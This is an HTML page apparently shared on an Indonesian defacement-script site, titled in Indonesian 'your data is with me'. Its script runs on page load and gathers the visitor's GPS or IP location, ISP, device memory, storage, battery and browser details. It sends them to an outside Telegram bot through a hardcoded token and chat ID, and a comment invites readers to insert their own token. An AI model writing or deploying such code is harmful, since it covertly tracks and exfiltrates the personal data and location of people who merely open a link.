<!-- -- Uploaded on : https://haxor.my.id/open/untuk_sodaraku.html -- Official Web : https://prinsh.com -- script-deface-generator.prinsh.com --> <!-- -- Downloaded from : https://haxor.my.id/save/amazingjirrrr.html -- Official Web : https://prinsh.com -- script-deface-generator.prinsh.com --> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>data kamu ada di aku awas😈</title> </head> <body> <h2>data kamu ada di saya😈</h2> <script> async function getBatteryInfo() { if (navigator.getBattery) { const battery = await navigator.getBattery(); const status = battery.charging ? "🔌 Mengisi daya" : "⚡ Tidak mengisi daya"; return `Baterai: ${Math.round(battery.level * 100)}% (${status})`; } return "Baterai: Tidak didukung"; } async function getDeviceInfo() { const memory = navigator.deviceMemory || "Tidak diketahui"; const ram = memory + " GB"; if ('storage' in navigator && 'estimate' in navigator.storage) { const estimate = await navigator.storage.estimate(); const totalStorage = (estimate.quota / (1024 * 1024 * 1024)).toFixed(2) + " GB"; const usedStorage = ((estimate.usage / estimate.quota) * 100).toFixed(2) + "% digunakan"; return { ram, totalStorage, usedStorage }; } return { ram, totalStorage: "Tidak diketahui", usedStorage: "Tidak diketahui" }; } function getCurrentTime() { const now = new Date(); return now.toLocaleString("id-ID", { timeZoneName: "short" }); } async function getLocationByIP() { try { const response = await fetch("https://ip-api.com/json/"); const data = await response.json(); return { latitude: data.lat || "Tidak diketahui", longitude: data.lon || "Tidak diketahui", negara: data.country || "Tidak diketahui", provinsi: data.regionName || "Tidak diketahui", kota: data.city || "Tidak diketahui", isp: data.isp || "Tidak diketahui", metode: "IP (Perkiraan)" }; } catch (error) { return { latitude: "Tidak diketahui", longitude: "Tidak diketahui", negara: "Tidak diketahui", provinsi: "Tidak diketahui", kota: "Tidak diketahui", isp: "Tidak diketahui", metode: "Tidak dapat diproses" }; } } function getLocation() { return new Promise((resolve) => { if ("geolocation" in navigator) { navigator.geolocation.getCurrentPosition( (position) => { resolve({ latitude: position.coords.latitude, longitude: position.coords.longitude, metode: "GPS (Akurat)" }); }, async () => { const lokasiIP = await getLocationByIP(); resolve(lokasiIP); } ); } else { getLocationByIP().then(resolve); } }); } async function kirimKeTelegram() { try { const batteryInfo = await getBatteryInfo(); const userAgent = navigator.userAgent; const browser = navigator.vendor || "Tidak diketahui"; const bahasa = navigator.language; const lokasi = await getLocation(); const deviceInfo = await getDeviceInfo(); const waktuSekarang = getCurrentTime(); const pesan = ` 🌍 **Info Pengguna** - Negara: ${lokasi.negara} - Provinsi: ${lokasi.provinsi} - Kota: ${lokasi.kota} - ISP: ${lokasi.isp} 📍 **Lokasi (${lokasi.metode})** - Latitude: ${lokasi.latitude} - Longitude: ${lokasi.longitude} 💻 **Device Info** - RAM: ${deviceInfo.ram} - ROM: ${deviceInfo.totalStorage} (${deviceInfo.usedStorage}) - ${batteryInfo} 🕒 **Waktu Saat Ini** - ${waktuSekarang} 🖥 **Browser & Sistem** - User Agent: ${userAgent} - Browser: ${browser} - Bahasa: ${bahasa} `; const botToken = "8052262175:AAHsEP7DSntdstv7yBTvMyA2mGcZa7P8sUg"; // Ganti dengan token bot lo const chatId = "6692971365"; // Ganti dengan ID chat lo const telegramApi = `https://api.telegram.org/bot${botToken}/sendMessage`; const telegramResponse = await fetch(telegramApi, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ chat_id: chatId, text: pesan, parse_mode: "Markdown" }) }); if (telegramResponse.ok) { document.body.innerHTML = "<h2>Pesan berhasil dikirim ke Telegram!</h2>"; } else { document.body.innerHTML = "<h2>Gagal mengirim pesan.</h2>"; } } catch (error) { console.error("Error:", error); document.body.innerHTML = "<h2>Terjadi kesalahan!</h2>"; } } // Kirim otomatis saat halaman dibuka window.onload = kirimKeTelegram; </script> </body> </html>